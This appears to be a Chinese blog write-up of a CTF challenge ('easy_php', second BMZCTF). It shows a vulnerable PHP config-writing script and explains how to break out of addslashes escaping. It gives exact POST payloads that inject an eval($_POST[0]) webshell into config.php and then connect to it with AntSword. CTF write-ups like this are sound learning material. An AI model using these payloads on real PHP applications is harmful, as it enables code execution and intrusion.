[第二届BMZCTF]easy_php

[第二届BMZCTF]easy_php

写在前面的话:元旦打的比赛,现在终于有时间来复现,害,勤能补拙吧!

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);

function new_addslashes($string) {
     if(!is_array($string)) return addslashes($string);
     foreach($string as $key => $val) $string[$key] = new_addslashes($val);
     return $string;
 }
if(!get_magic_quotes_gpc()) {
    $_POST = new_addslashes($_POST);
    $_GET = new_addslashes($_GET);
    $_REQUEST = new_addslashes($_REQUEST);
    $_COOKIE = new_addslashes($_COOKIE);
}
if(isset($_POST['sudo'])) {
    $file = __DIR__ .'/config.php';
    require $file;
    $key = $_POST['info']['name'];
    if(!isset($LANG[$key])) {
        $content = file_get_contents($file);
        $content = substr($content,0,-3);
        $data = $content."\n\$LANG['$key'] = '$_POST[no1]';\n?>";
        file_put_contents($file,$data);
    } elseif(isset($LANG[$key]) && $LANG[$key]!=$_POST['no1']) {
        $content = file_get_contents($file);
        $content = str_replace($LANG[$key],$_POST['no1'],$content);
        file_put_contents($file,$content);
    }
}
if(isset($_GET['re'])){
    file_put_contents("./config.php",base64_decode("PD9waHAKJExBTkdbJ21lbWJlcl9tYW5hZ2UnXSA9ICdhZG1pbic7Cj8+Cg=="));
}

分析

代码主要实现的功能是:没有则新建,有的话就将原来的替换成输入的,具体是怎么做到,看核心代码

但是!!题目通过\进行了转义

思路:通过闭合与注释能逃逸,从而能传马,或者任意代码执行

ps:复现过程中想到了sql注入的单引号’闭合,#注释,很类似

过程

首先重置下

?re=1

自己新建一个数组的键和值,no1的内容很关键,为后面替换之后逃逸做铺垫

sudo=&info[name]=Backr0d&no1=LANG

替换LANG之后,成功逃逸出来

sudo=&info[name]=Backr0d&no1=a=1;eval($_POST[0]);phpinfo();//

用蚁剑连接即可在根目录下找到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值